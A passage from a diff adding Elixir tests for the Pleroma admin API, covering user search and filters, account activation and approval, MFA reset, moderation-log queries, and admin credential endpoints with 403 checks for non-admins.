ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} revoked admin role from @#{user_one.nickname}, @#{ + user_two.nickname + }" + end + end + + test "/api/pleroma/admin/users/:nickname/password_reset", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> put_req_header("accept", "application/json") + |> get("/api/pleroma/admin/users/#{user.nickname}/password_reset") + + resp = json_response(conn, 200) + + assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"]) + end + + describe "GET /api/pleroma/admin/users" do + test "renders users array for the first page", %{conn: conn, admin: admin} do + user = insert(:user, local: false, tags: ["foo", "bar"]) + user2 = insert(:user, approval_pending: true, registration_reason: "I'm a chill dude") + + conn = get(conn, "/api/pleroma/admin/users?page=1") + + users = + [ + %{ + "deactivated" => admin.deactivated, + "id" => admin.id, + "nickname" => admin.nickname, + "roles" => %{"admin" => true, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(admin) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(admin.name || admin.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => admin.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + }, + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => false, + "tags" => ["foo", "bar"], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + }, + %{ + "deactivated" => user2.deactivated, + "id" => user2.id, + "nickname" => user2.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user2) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user2.name || user2.nickname), + "confirmation_pending" => false, + "approval_pending" => true, + "url" => user2.ap_id, + "registration_reason" => "I'm a chill dude", + "actor_type" => "Person" + } + ] + |> Enum.sort_by(& &1["nickname"]) + + assert json_response(conn, 200) == %{ + "count" => 3, + "page_size" => 50, + "users" => users + } + end + + test "pagination works correctly with service users", %{conn: conn} do + service1 = User.get_or_create_service_actor_by_ap_id(Web.base_url() <> "/meido", "meido") + + insert_list(25, :user) + + assert %{"count" => 26, "page_size" => 10, "users" => users1} = + conn + |> get("/api/pleroma/admin/users?page=1&filters=", %{page_size: "10"}) + |> json_response(200) + + assert Enum.count(users1) == 10 + assert service1 not in users1 + + assert %{"count" => 26, "page_size" => 10, "users" => users2} = + conn + |> get("/api/pleroma/admin/users?page=2&filters=", %{page_size: "10"}) + |> json_response(200) + + assert Enum.count(users2) == 10 + assert service1 not in users2 + + assert %{"count" => 26, "page_size" => 10, "users" => users3} = + conn + |> get("/api/pleroma/admin/users?page=3&filters=", %{page_size: "10"}) + |> json_response(200) + + assert Enum.count(users3) == 6 + assert service1 not in users3 + end + + test "renders empty array for the second page", %{conn: conn} do + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?page=2") + + assert json_response(conn, 200) == %{ + "count" => 2, + "page_size" => 50, + "users" => [] + } + end + + test "regular search", %{conn: conn} do + user = insert(:user, nickname: "bob") + + conn = get(conn, "/api/pleroma/admin/users?query=bo") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "search by domain", %{conn: conn} do + user = insert(:user, nickname: "nickname@domain.com") + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?query=domain.com") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "search by full nickname", %{conn: conn} do + user = insert(:user, nickname: "nickname@domain.com") + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?query=nickname@domain.com") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "search by display name", %{conn: conn} do + user = insert(:user, name: "Display name") + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?name=display") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "search by email", %{conn: conn} do + user = insert(:user, email: "email@example.com") + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?email=email@example.com") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "regular search with page size", %{conn: conn} do + user = insert(:user, nickname: "aalice") + user2 = insert(:user, nickname: "alice") + + conn1 = get(conn, "/api/pleroma/admin/users?query=a&page_size=1&page=1") + + assert json_response(conn1, 200) == %{ + "count" => 2, + "page_size" => 1, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + + conn2 = get(conn, "/api/pleroma/admin/users?query=a&page_size=1&page=2") + + assert json_response(conn2, 200) == %{ + "count" => 2, + "page_size" => 1, + "users" => [ + %{ + "deactivated" => user2.deactivated, + "id" => user2.id, + "nickname" => user2.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user2) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user2.name || user2.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user2.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "only local users" do + admin = insert(:user, is_admin: true, nickname: "john") + token = insert(:oauth_admin_token, user: admin) + user = insert(:user, nickname: "bob") + + insert(:user, nickname: "bobb", local: false) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + |> get("/api/pleroma/admin/users?query=bo&filters=local") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "only local users with no query", %{conn: conn, admin: old_admin} do + admin = insert(:user, is_admin: true, nickname: "john") + user = insert(:user, nickname: "bob") + + insert(:user, nickname: "bobb", local: false) + + conn = get(conn, "/api/pleroma/admin/users?filters=local") + + users = + [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + }, + %{ + "deactivated" => admin.deactivated, + "id" => admin.id, + "nickname" => admin.nickname, + "roles" => %{"admin" => true, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(admin) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(admin.name || admin.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => admin.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + }, + %{ + "deactivated" => false, + "id" => old_admin.id, + "local" => true, + "nickname" => old_admin.nickname, + "roles" => %{"admin" => true, "moderator" => false}, + "tags" => [], + "avatar" => User.avatar_url(old_admin) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(old_admin.name || old_admin.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => old_admin.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + |> Enum.sort_by(& &1["nickname"]) + + assert json_response(conn, 200) == %{ + "count" => 3, + "page_size" => 50, + "users" => users + } + end + + test "only unapproved users", %{conn: conn} do + user = + insert(:user, + nickname: "sadboy", + approval_pending: true, + registration_reason: "Plz let me in!" + ) + + insert(:user, nickname: "happyboy", approval_pending: false) + + conn = get(conn, "/api/pleroma/admin/users?filters=need_approval") + + users = + [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => true, + "url" => user.ap_id, + "registration_reason" => "Plz let me in!", + "actor_type" => "Person" + } + ] + |> Enum.sort_by(& &1["nickname"]) + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => users + } + end + + test "load only admins", %{conn: conn, admin: admin} do + second_admin = insert(:user, is_admin: true) + insert(:user) + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?filters=is_admin") + + users = + [ + %{ + "deactivated" => false, + "id" => admin.id, + "nickname" => admin.nickname, + "roles" => %{"admin" => true, "moderator" => false}, + "local" => admin.local, + "tags" => [], + "avatar" => User.avatar_url(admin) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(admin.name || admin.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => admin.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + }, + %{ + "deactivated" => false, + "id" => second_admin.id, + "nickname" => second_admin.nickname, + "roles" => %{"admin" => true, "moderator" => false}, + "local" => second_admin.local, + "tags" => [], + "avatar" => User.avatar_url(second_admin) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(second_admin.name || second_admin.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => second_admin.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + |> Enum.sort_by(& &1["nickname"]) + + assert json_response(conn, 200) == %{ + "count" => 2, + "page_size" => 50, + "users" => users + } + end + + test "load only moderators", %{conn: conn} do + moderator = insert(:user, is_moderator: true) + insert(:user) + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?filters=is_moderator") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => false, + "id" => moderator.id, + "nickname" => moderator.nickname, + "roles" => %{"admin" => false, "moderator" => true}, + "local" => moderator.local, + "tags" => [], + "avatar" => User.avatar_url(moderator) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(moderator.name || moderator.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => moderator.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "load users with tags list", %{conn: conn} do + user1 = insert(:user, tags: ["first"]) + user2 = insert(:user, tags: ["second"]) + insert(:user) + insert(:user) + + conn = get(conn, "/api/pleroma/admin/users?tags[]=first&tags[]=second") + + users = + [ + %{ + "deactivated" => false, + "id" => user1.id, + "nickname" => user1.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => user1.local, + "tags" => ["first"], + "avatar" => User.avatar_url(user1) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user1.name || user1.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user1.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + }, + %{ + "deactivated" => false, + "id" => user2.id, + "nickname" => user2.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => user2.local, + "tags" => ["second"], + "avatar" => User.avatar_url(user2) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user2.name || user2.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user2.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + |> Enum.sort_by(& &1["nickname"]) + + assert json_response(conn, 200) == %{ + "count" => 2, + "page_size" => 50, + "users" => users + } + end + + test "`active` filters out users pending approval", %{token: token} do + insert(:user, approval_pending: true) + %{id: user_id} = insert(:user, approval_pending: false) + %{id: admin_id} = token.user + + conn = + build_conn() + |> assign(:user, token.user) + |> assign(:token, token) + |> get("/api/pleroma/admin/users?filters=active") + + assert %{ + "count" => 2, + "page_size" => 50, + "users" => [ + %{"id" => ^admin_id}, + %{"id" => ^user_id} + ] + } = json_response(conn, 200) + end + + test "it works with multiple filters" do + admin = insert(:user, nickname: "john", is_admin: true) + token = insert(:oauth_admin_token, user: admin) + user = insert(:user, nickname: "bob", local: false, deactivated: true) + + insert(:user, nickname: "ken", local: true, deactivated: true) + insert(:user, nickname: "bobb", local: false, deactivated: false) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + |> get("/api/pleroma/admin/users?filters=deactivated,external") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => user.local, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + + test "it omits relay user", %{admin: admin, conn: conn} do + assert %User{} = Relay.get_actor() + + conn = get(conn, "/api/pleroma/admin/users") + + assert json_response(conn, 200) == %{ + "count" => 1, + "page_size" => 50, + "users" => [ + %{ + "deactivated" => admin.deactivated, + "id" => admin.id, + "nickname" => admin.nickname, + "roles" => %{"admin" => true, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(admin) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(admin.name || admin.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => admin.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + ] + } + end + end + + test "PATCH /api/pleroma/admin/users/activate", %{admin: admin, conn: conn} do + user_one = insert(:user, deactivated: true) + user_two = insert(:user, deactivated: true) + + conn = + patch( + conn, + "/api/pleroma/admin/users/activate", + %{nicknames: [user_one.nickname, user_two.nickname]} + ) + + response = json_response(conn, 200) + assert Enum.map(response["users"], & &1["deactivated"]) == [false, false] + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} activated users: @#{user_one.nickname}, @#{user_two.nickname}" + end + + test "PATCH /api/pleroma/admin/users/deactivate", %{admin: admin, conn: conn} do + user_one = insert(:user, deactivated: false) + user_two = insert(:user, deactivated: false) + + conn = + patch( + conn, + "/api/pleroma/admin/users/deactivate", + %{nicknames: [user_one.nickname, user_two.nickname]} + ) + + response = json_response(conn, 200) + assert Enum.map(response["users"], & &1["deactivated"]) == [true, true] + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deactivated users: @#{user_one.nickname}, @#{user_two.nickname}" + end + + test "PATCH /api/pleroma/admin/users/approve", %{admin: admin, conn: conn} do + user_one = insert(:user, approval_pending: true) + user_two = insert(:user, approval_pending: true) + + conn = + patch( + conn, + "/api/pleroma/admin/users/approve", + %{nicknames: [user_one.nickname, user_two.nickname]} + ) + + response = json_response(conn, 200) + assert Enum.map(response["users"], & &1["approval_pending"]) == [false, false] + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} approved users: @#{user_one.nickname}, @#{user_two.nickname}" + end + + test "PATCH /api/pleroma/admin/users/:nickname/toggle_activation", %{admin: admin, conn: conn} do + user = insert(:user) + + conn = patch(conn, "/api/pleroma/admin/users/#{user.nickname}/toggle_activation") + + assert json_response(conn, 200) == + %{ + "deactivated" => !user.deactivated, + "id" => user.id, + "nickname" => user.nickname, + "roles" => %{"admin" => false, "moderator" => false}, + "local" => true, + "tags" => [], + "avatar" => User.avatar_url(user) |> MediaProxy.url(), + "display_name" => HTML.strip_tags(user.name || user.nickname), + "confirmation_pending" => false, + "approval_pending" => false, + "url" => user.ap_id, + "registration_reason" => nil, + "actor_type" => "Person" + } + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deactivated users: @#{user.nickname}" + end + + describe "PUT disable_mfa" do + test "returns 200 and disable 2fa", %{conn: conn} do + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: "otp_secret", confirmed: true} + } + ) + + response = + conn + |> put("/api/pleroma/admin/users/disable_mfa", %{nickname: user.nickname}) + |> json_response(200) + + assert response == user.nickname + mfa_settings = refresh_record(user).multi_factor_authentication_settings + + refute mfa_settings.enabled + refute mfa_settings.totp.confirmed + end + + test "returns 404 if user not found", %{conn: conn} do + response = + conn + |> put("/api/pleroma/admin/users/disable_mfa", %{nickname: "nickname"}) + |> json_response(404) + + assert response == %{"error" => "Not found"} + end + end + + describe "GET /api/pleroma/admin/restart" do + setup do: clear_config(:configurable_from_database, true) + + test "pleroma restarts", %{conn: conn} do + capture_log(fn -> + assert conn |> get("/api/pleroma/admin/restart") |> json_response(200) == %{} + end) =~ "pleroma restarted" + + refute Restarter.Pleroma.need_reboot?() + end + end + + test "need_reboot flag", %{conn: conn} do + assert conn + |> get("/api/pleroma/admin/need_reboot") + |> json_response(200) == %{"need_reboot" => false} + + Restarter.Pleroma.need_reboot() + + assert conn + |> get("/api/pleroma/admin/need_reboot") + |> json_response(200) == %{"need_reboot" => true} + + on_exit(fn -> Restarter.Pleroma.refresh() end) + end + + describe "GET /api/pleroma/admin/users/:nickname/statuses" do + setup do + user = insert(:user) + + date1 = (DateTime.to_unix(DateTime.utc_now()) + 2000) |> DateTime.from_unix!() + date2 = (DateTime.to_unix(DateTime.utc_now()) + 1000) |> DateTime.from_unix!() + date3 = (DateTime.to_unix(DateTime.utc_now()) + 3000) |> DateTime.from_unix!() + + insert(:note_activity, user: user, published: date1) + insert(:note_activity, user: user, published: date2) + insert(:note_activity, user: user, published: date3) + + %{user: user} + end + + test "renders user's statuses", %{conn: conn, user: user} do + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses") + + assert json_response(conn, 200) |> length() == 3 + end + + test "renders user's statuses with a limit", %{conn: conn, user: user} do + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses?page_size=2") + + assert json_response(conn, 200) |> length() == 2 + end + + test "doesn't return private statuses by default", %{conn: conn, user: user} do + {:ok, _private_status} = CommonAPI.post(user, %{status: "private", visibility: "private"}) + + {:ok, _public_status} = CommonAPI.post(user, %{status: "public", visibility: "public"}) + + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses") + + assert json_response(conn, 200) |> length() == 4 + end + + test "returns private statuses with godmode on", %{conn: conn, user: user} do + {:ok, _private_status} = CommonAPI.post(user, %{status: "private", visibility: "private"}) + + {:ok, _public_status} = CommonAPI.post(user, %{status: "public", visibility: "public"}) + + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/statuses?godmode=true") + + assert json_response(conn, 200) |> length() == 5 + end + + test "excludes reblogs by default", %{conn: conn, user: user} do + other_user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "."}) + {:ok, %Activity{}} = CommonAPI.repeat(activity.id, other_user) + + conn_res = get(conn, "/api/pleroma/admin/users/#{other_user.nickname}/statuses") + assert json_response(conn_res, 200) |> length() == 0 + + conn_res = + get(conn, "/api/pleroma/admin/users/#{other_user.nickname}/statuses?with_reblogs=true") + + assert json_response(conn_res, 200) |> length() == 1 + end + end + + describe "GET /api/pleroma/admin/users/:nickname/chats" do + setup do + user = insert(:user) + recipients = insert_list(3, :user) + + Enum.each(recipients, fn recipient -> + CommonAPI.post_chat_message(user, recipient, "yo") + end) + + %{user: user} + end + + test "renders user's chats", %{conn: conn, user: user} do + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/chats") + + assert json_response(conn, 200) |> length() == 3 + end + end + + describe "GET /api/pleroma/admin/users/:nickname/chats unauthorized" do + setup do + user = insert(:user) + recipient = insert(:user) + CommonAPI.post_chat_message(user, recipient, "yo") + %{conn: conn} = oauth_access(["read:chats"]) + %{conn: conn, user: user} + end + + test "returns 403", %{conn: conn, user: user} do + conn + |> get("/api/pleroma/admin/users/#{user.nickname}/chats") + |> json_response(403) + end + end + + describe "GET /api/pleroma/admin/users/:nickname/chats unauthenticated" do + setup do + user = insert(:user) + recipient = insert(:user) + CommonAPI.post_chat_message(user, recipient, "yo") + %{conn: build_conn(), user: user} + end + + test "returns 403", %{conn: conn, user: user} do + conn + |> get("/api/pleroma/admin/users/#{user.nickname}/chats") + |> json_response(403) + end + end + + describe "GET /api/pleroma/admin/moderation_log" do + setup do + moderator = insert(:user, is_moderator: true) + + %{moderator: moderator} + end + + test "returns the log", %{conn: conn, admin: admin} do + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_follow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.truncate(~N[2017-08-15 15:47:06.597036], :second) + }) + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_unfollow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.truncate(~N[2017-08-16 15:47:06.597036], :second) + }) + + conn = get(conn, "/api/pleroma/admin/moderation_log") + + response = json_response(conn, 200) + [first_entry, second_entry] = response["items"] + + assert response["total"] == 2 + assert first_entry["data"]["action"] == "relay_unfollow" + + assert first_entry["message"] == + "@#{admin.nickname} unfollowed relay: https://example.org/relay" + + assert second_entry["data"]["action"] == "relay_follow" + + assert second_entry["message"] == + "@#{admin.nickname} followed relay: https://example.org/relay" + end + + test "returns the log with pagination", %{conn: conn, admin: admin} do + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_follow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.truncate(~N[2017-08-15 15:47:06.597036], :second) + }) + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_unfollow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.truncate(~N[2017-08-16 15:47:06.597036], :second) + }) + + conn1 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=1") + + response1 = json_response(conn1, 200) + [first_entry] = response1["items"] + + assert response1["total"] == 2 + assert response1["items"] |> length() == 1 + assert first_entry["data"]["action"] == "relay_unfollow" + + assert first_entry["message"] == + "@#{admin.nickname} unfollowed relay: https://example.org/relay" + + conn2 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=2") + + response2 = json_response(conn2, 200) + [second_entry] = response2["items"] + + assert response2["total"] == 2 + assert response2["items"] |> length() == 1 + assert second_entry["data"]["action"] == "relay_follow" + + assert second_entry["message"] == + "@#{admin.nickname} followed relay: https://example.org/relay" + end + + test "filters log by date", %{conn: conn, admin: admin} do + first_date = "2017-08-15T15:47:06Z" + second_date = "2017-08-20T15:47:06Z" + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_follow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.from_iso8601!(first_date) + }) + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_unfollow", + target: "https://example.org/relay" + }, + inserted_at: NaiveDateTime.from_iso8601!(second_date) + }) + + conn1 = + get( + conn, + "/api/pleroma/admin/moderation_log?start_date=#{second_date}" + ) + + response1 = json_response(conn1, 200) + [first_entry] = response1["items"] + + assert response1["total"] == 1 + assert first_entry["data"]["action"] == "relay_unfollow" + + assert first_entry["message"] == + "@#{admin.nickname} unfollowed relay: https://example.org/relay" + end + + test "returns log filtered by user", %{conn: conn, admin: admin, moderator: moderator} do + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => admin.id, + "nickname" => admin.nickname, + "type" => "user" + }, + action: "relay_follow", + target: "https://example.org/relay" + } + }) + + Repo.insert(%ModerationLog{ + data: %{ + actor: %{ + "id" => moderator.id, + "nickname" => moderator.nickname, + "type" => "user" + }, + action: "relay_unfollow", + target: "https://example.org/relay" + } + }) + + conn1 = get(conn, "/api/pleroma/admin/moderation_log?user_id=#{moderator.id}") + + response1 = json_response(conn1, 200) + [first_entry] = response1["items"] + + assert response1["total"] == 1 + assert get_in(first_entry, ["data", "actor", "id"]) == moderator.id + end + + test "returns log filtered by search", %{conn: conn, moderator: moderator} do + ModerationLog.insert_log(%{ + actor: moderator, + action: "relay_follow", + target: "https://example.org/relay" + }) + + ModerationLog.insert_log(%{ + actor: moderator, + action: "relay_unfollow", + target: "https://example.org/relay" + }) + + conn1 = get(conn, "/api/pleroma/admin/moderation_log?search=unfo") + + response1 = json_response(conn1, 200) + [first_entry] = response1["items"] + + assert response1["total"] == 1 + + assert get_in(first_entry, ["data", "message"]) == + "@#{moderator.nickname} unfollowed relay: https://example.org/relay" + end + end + + test "gets a remote users when [:instance, :limit_to_local_content] is set to :unauthenticated", + %{conn: conn} do + clear_config(Pleroma.Config.get([:instance, :limit_to_local_content]), :unauthenticated) + user = insert(:user, %{local: false, nickname: "u@peer1.com"}) + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials") + + assert json_response(conn, 200) + end + + describe "GET /users/:nickname/credentials" do + test "gets the user credentials", %{conn: conn} do + user = insert(:user) + conn = get(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials") + + response = assert json_response(conn, 200) + assert response["email"] == user.email + end + + test "returns 403 if requested by a non-admin" do + user = insert(:user) + + conn = + build_conn() + |> assign(:user, user) + |> get("/api/pleroma/admin/users/#{user.nickname}/credentials") + + assert json_response(conn, :forbidden) + end + end + + describe "PATCH /users/:nickname/credentials" do + setup do + user = insert(:user) + [user: user] + end + + test "changes password and email", %{conn: conn, admin: admin, user: user} do + assert user.password_reset_pending == false + + conn = + patch(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials", %{ + "password" => "new_password", + "email" => "new_email@example.com", + "name" => "new_name" + }) + + assert json_response(conn, 200) == %{"status" => "success"} + + ObanHelpers.perform_all() + + updated_user = User.get_by_id(user.id) + + assert updated_user.email == "new_email@example.com" + assert updated_user.name == "new_name" + assert updated_user.password_hash != user.password_hash + assert updated_user.password_reset_pending == true + + [log_entry2, log_entry1] = ModerationLog |> Repo.all() |> Enum.sort() + + assert ModerationLog.get_log_entry_message(log_entry1) == + "@#{admin.nickname} updated users: @#{user.nickname}" + + assert ModerationLog.get_log_entry_message(log_entry2) == + "@#{admin.nickname} forced password reset for users: @#{user.nickname}" + end + + test "returns 403 if requested by a non-admin", %{user: user} do + conn = + build_conn() + |> assign(:user, user) + |> patch("/api/pleroma/admin/users/#{user.nickname}/credentials", %{ + "password" => "new_password", + "email" => "new_email@example.com", + "name" => "new_name" + }) + + assert json_response(conn, :forbidden) + end + + test "changes actor type from permitted list", %{conn: conn, user: user} do + assert user.actor_type == "Person" + + assert patch(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials", %{ + "actor_type" => "Service" + }) + |> json_response(200) == %{"status" => "success"} + + updated_user = User.get_by_id(user.id) + + assert updated_user.actor_type == "Service" + + assert patch(conn, "/api/pleroma/admin/users/#{user.nickname}/credentials", %{ + "actor_type" => "Application" + }) + |> json_response(400) == %{"errors" => %{"actor_type" => "is invalid"}} + end + + test "update non existing user", %{conn: conn} do + assert patch(conn, "/api/pleroma/admin/users/non-existing/credentials", %{ + "password" => "new_password" + }) + |> 